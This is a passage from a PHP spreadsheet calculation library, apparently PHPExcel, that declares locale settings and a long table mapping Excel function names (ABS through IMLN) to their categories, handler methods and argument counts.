Epsilon Precision used for comparisons in calculations * * @var float * */ private $delta = 0.1e-12; /** * The current locale setting * * @var string * */ private static $localeLanguage = 'en_us'; // US English (default locale) /** * List of available locale settings * Note that this is read for the locale subdirectory only when requested * * @var string[] * */ private static $validLocaleLanguages = array( 'en' // English (default language) ); /** * Locale-specific argument separator for function arguments * * @var string * */ private static $localeArgumentSeparator = ','; private static $localeFunctions = array(); /** * Locale-specific translations for Excel constants (True, False and Null) * * @var string[] * */ public static $localeBoolean = array( 'TRUE' => 'TRUE', 'FALSE' => 'FALSE', 'NULL' => 'NULL' ); /** * Excel constant string translations to their PHP equivalents * Constant conversion from text name/value to actual (datatyped) value * * @var string[] * */ private static $excelConstants = array( 'TRUE' => true, 'FALSE' => false, 'NULL' => null ); // PHPExcel functions private static $PHPExcelFunctions = array( 'ABS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'abs', 'argumentCount' => '1' ), 'ACCRINT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::ACCRINT', 'argumentCount' => '4-7' ), 'ACCRINTM' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::ACCRINTM', 'argumentCount' => '3-5' ), 'ACOS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'acos', 'argumentCount' => '1' ), 'ACOSH' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'acosh', 'argumentCount' => '1' ), 'ADDRESS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::CELL_ADDRESS', 'argumentCount' => '2-5' ), 'AMORDEGRC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::AMORDEGRC', 'argumentCount' => '6,7' ), 'AMORLINC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::AMORLINC', 'argumentCount' => '6,7' ), 'AND' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOGICAL, 'functionCall' => 'PHPExcel_Calculation_Logical::LOGICAL_AND', 'argumentCount' => '1+' ), 'AREAS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '1' ), 'ASC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '1' ), 'ASIN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'asin', 'argumentCount' => '1' ), 'ASINH' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'asinh', 'argumentCount' => '1' ), 'ATAN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'atan', 'argumentCount' => '1' ), 'ATAN2' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::ATAN2', 'argumentCount' => '2' ), 'ATANH' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'atanh', 'argumentCount' => '1' ), 'AVEDEV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::AVEDEV', 'argumentCount' => '1+' ), 'AVERAGE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::AVERAGE', 'argumentCount' => '1+' ), 'AVERAGEA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::AVERAGEA', 'argumentCount' => '1+' ), 'AVERAGEIF' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::AVERAGEIF', 'argumentCount' => '2,3' ), 'AVERAGEIFS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '3+' ), 'BAHTTEXT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '1' ), 'BESSELI' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::BESSELI', 'argumentCount' => '2' ), 'BESSELJ' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::BESSELJ', 'argumentCount' => '2' ), 'BESSELK' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::BESSELK', 'argumentCount' => '2' ), 'BESSELY' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::BESSELY', 'argumentCount' => '2' ), 'BETADIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::BETADIST', 'argumentCount' => '3-5' ), 'BETAINV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::BETAINV', 'argumentCount' => '3-5' ), 'BIN2DEC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::BINTODEC', 'argumentCount' => '1' ), 'BIN2HEX' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::BINTOHEX', 'argumentCount' => '1,2' ), 'BIN2OCT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::BINTOOCT', 'argumentCount' => '1,2' ), 'BINOMDIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::BINOMDIST', 'argumentCount' => '4' ), 'CEILING' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::CEILING', 'argumentCount' => '2' ), 'CELL' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '1,2' ), 'CHAR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::CHARACTER', 'argumentCount' => '1' ), 'CHIDIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::CHIDIST', 'argumentCount' => '2' ), 'CHIINV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::CHIINV', 'argumentCount' => '2' ), 'CHITEST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '2' ), 'CHOOSE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::CHOOSE', 'argumentCount' => '2+' ), 'CLEAN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::TRIMNONPRINTABLE', 'argumentCount' => '1' ), 'CODE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::ASCIICODE', 'argumentCount' => '1' ), 'COLUMN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::COLUMN', 'argumentCount' => '-1', 'passByReference' => array(true) ), 'COLUMNS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::COLUMNS', 'argumentCount' => '1' ), 'COMBIN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::COMBIN', 'argumentCount' => '2' ), 'COMPLEX' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::COMPLEX', 'argumentCount' => '2,3' ), 'CONCATENATE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::CONCATENATE', 'argumentCount' => '1+' ), 'CONFIDENCE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::CONFIDENCE', 'argumentCount' => '3' ), 'CONVERT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::CONVERTUOM', 'argumentCount' => '3' ), 'CORREL' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::CORREL', 'argumentCount' => '2' ), 'COS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'cos', 'argumentCount' => '1' ), 'COSH' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'cosh', 'argumentCount' => '1' ), 'COUNT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::COUNT', 'argumentCount' => '1+' ), 'COUNTA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::COUNTA', 'argumentCount' => '1+' ), 'COUNTBLANK' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::COUNTBLANK', 'argumentCount' => '1' ), 'COUNTIF' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::COUNTIF', 'argumentCount' => '2' ), 'COUNTIFS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '2' ), 'COUPDAYBS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::COUPDAYBS', 'argumentCount' => '3,4' ), 'COUPDAYS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::COUPDAYS', 'argumentCount' => '3,4' ), 'COUPDAYSNC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::COUPDAYSNC', 'argumentCount' => '3,4' ), 'COUPNCD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::COUPNCD', 'argumentCount' => '3,4' ), 'COUPNUM' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::COUPNUM', 'argumentCount' => '3,4' ), 'COUPPCD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::COUPPCD', 'argumentCount' => '3,4' ), 'COVAR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::COVAR', 'argumentCount' => '2' ), 'CRITBINOM' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::CRITBINOM', 'argumentCount' => '3' ), 'CUBEKPIMEMBER' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_CUBE, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '?' ), 'CUBEMEMBER' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_CUBE, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '?' ), 'CUBEMEMBERPROPERTY' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_CUBE, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '?' ), 'CUBERANKEDMEMBER' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_CUBE, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '?' ), 'CUBESET' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_CUBE, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '?' ), 'CUBESETCOUNT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_CUBE, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '?' ), 'CUBEVALUE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_CUBE, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '?' ), 'CUMIPMT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::CUMIPMT', 'argumentCount' => '6' ), 'CUMPRINC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::CUMPRINC', 'argumentCount' => '6' ), 'DATE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::DATE', 'argumentCount' => '3' ), 'DATEDIF' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::DATEDIF', 'argumentCount' => '2,3' ), 'DATEVALUE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::DATEVALUE', 'argumentCount' => '1' ), 'DAVERAGE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DAVERAGE', 'argumentCount' => '3' ), 'DAY' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::DAYOFMONTH', 'argumentCount' => '1' ), 'DAYS360' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::DAYS360', 'argumentCount' => '2,3' ), 'DB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::DB', 'argumentCount' => '4,5' ), 'DCOUNT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DCOUNT', 'argumentCount' => '3' ), 'DCOUNTA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DCOUNTA', 'argumentCount' => '3' ), 'DDB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::DDB', 'argumentCount' => '4,5' ), 'DEC2BIN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::DECTOBIN', 'argumentCount' => '1,2' ), 'DEC2HEX' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::DECTOHEX', 'argumentCount' => '1,2' ), 'DEC2OCT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::DECTOOCT', 'argumentCount' => '1,2' ), 'DEGREES' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'rad2deg', 'argumentCount' => '1' ), 'DELTA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::DELTA', 'argumentCount' => '1,2' ), 'DEVSQ' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::DEVSQ', 'argumentCount' => '1+' ), 'DGET' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DGET', 'argumentCount' => '3' ), 'DISC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::DISC', 'argumentCount' => '4,5' ), 'DMAX' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DMAX', 'argumentCount' => '3' ), 'DMIN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DMIN', 'argumentCount' => '3' ), 'DOLLAR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::DOLLAR', 'argumentCount' => '1,2' ), 'DOLLARDE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::DOLLARDE', 'argumentCount' => '2' ), 'DOLLARFR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::DOLLARFR', 'argumentCount' => '2' ), 'DPRODUCT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DPRODUCT', 'argumentCount' => '3' ), 'DSTDEV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DSTDEV', 'argumentCount' => '3' ), 'DSTDEVP' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DSTDEVP', 'argumentCount' => '3' ), 'DSUM' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DSUM', 'argumentCount' => '3' ), 'DURATION' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '5,6' ), 'DVAR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DVAR', 'argumentCount' => '3' ), 'DVARP' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATABASE, 'functionCall' => 'PHPExcel_Calculation_Database::DVARP', 'argumentCount' => '3' ), 'EDATE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::EDATE', 'argumentCount' => '2' ), 'EFFECT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::EFFECT', 'argumentCount' => '2' ), 'EOMONTH' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::EOMONTH', 'argumentCount' => '2' ), 'ERF' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::ERF', 'argumentCount' => '1,2' ), 'ERFC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::ERFC', 'argumentCount' => '1' ), 'ERROR.TYPE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::ERROR_TYPE', 'argumentCount' => '1' ), 'EVEN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::EVEN', 'argumentCount' => '1' ), 'EXACT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '2' ), 'EXP' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'exp', 'argumentCount' => '1' ), 'EXPONDIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::EXPONDIST', 'argumentCount' => '3' ), 'FACT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::FACT', 'argumentCount' => '1' ), 'FACTDOUBLE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::FACTDOUBLE', 'argumentCount' => '1' ), 'FALSE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOGICAL, 'functionCall' => 'PHPExcel_Calculation_Logical::FALSE', 'argumentCount' => '0' ), 'FDIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '3' ), 'FIND' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::SEARCHSENSITIVE', 'argumentCount' => '2,3' ), 'FINDB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::SEARCHSENSITIVE', 'argumentCount' => '2,3' ), 'FINV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '3' ), 'FISHER' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::FISHER', 'argumentCount' => '1' ), 'FISHERINV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::FISHERINV', 'argumentCount' => '1' ), 'FIXED' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::FIXEDFORMAT', 'argumentCount' => '1-3' ), 'FLOOR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::FLOOR', 'argumentCount' => '2' ), 'FORECAST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::FORECAST', 'argumentCount' => '3' ), 'FREQUENCY' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '2' ), 'FTEST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '2' ), 'FV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::FV', 'argumentCount' => '3-5' ), 'FVSCHEDULE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::FVSCHEDULE', 'argumentCount' => '2' ), 'GAMMADIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::GAMMADIST', 'argumentCount' => '4' ), 'GAMMAINV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::GAMMAINV', 'argumentCount' => '3' ), 'GAMMALN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::GAMMALN', 'argumentCount' => '1' ), 'GCD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::GCD', 'argumentCount' => '1+' ), 'GEOMEAN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::GEOMEAN', 'argumentCount' => '1+' ), 'GESTEP' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::GESTEP', 'argumentCount' => '1,2' ), 'GETPIVOTDATA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '2+' ), 'GROWTH' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::GROWTH', 'argumentCount' => '1-4' ), 'HARMEAN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::HARMEAN', 'argumentCount' => '1+' ), 'HEX2BIN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::HEXTOBIN', 'argumentCount' => '1,2' ), 'HEX2DEC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::HEXTODEC', 'argumentCount' => '1' ), 'HEX2OCT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::HEXTOOCT', 'argumentCount' => '1,2' ), 'HLOOKUP' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::HLOOKUP', 'argumentCount' => '3,4' ), 'HOUR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::HOUROFDAY', 'argumentCount' => '1' ), 'HYPERLINK' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::HYPERLINK', 'argumentCount' => '1,2', 'passCellReference' => true ), 'HYPGEOMDIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::HYPGEOMDIST', 'argumentCount' => '4' ), 'IF' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOGICAL, 'functionCall' => 'PHPExcel_Calculation_Logical::STATEMENT_IF', 'argumentCount' => '1-3' ), 'IFERROR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOGICAL, 'functionCall' => 'PHPExcel_Calculation_Logical::IFERROR', 'argumentCount' => '2' ), 'IMABS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMABS', 'argumentCount' => '1' ), 'IMAGINARY' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMAGINARY', 'argumentCount' => '1' ), 'IMARGUMENT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMARGUMENT', 'argumentCount' => '1' ), 'IMCONJUGATE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMCONJUGATE', 'argumentCount' => '1' ), 'IMCOS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMCOS', 'argumentCount' => '1' ), 'IMDIV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMDIV', 'argumentCount' => '2' ), 'IMEXP' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMEXP', 'argumentCount' => '1' ), 'IMLN' 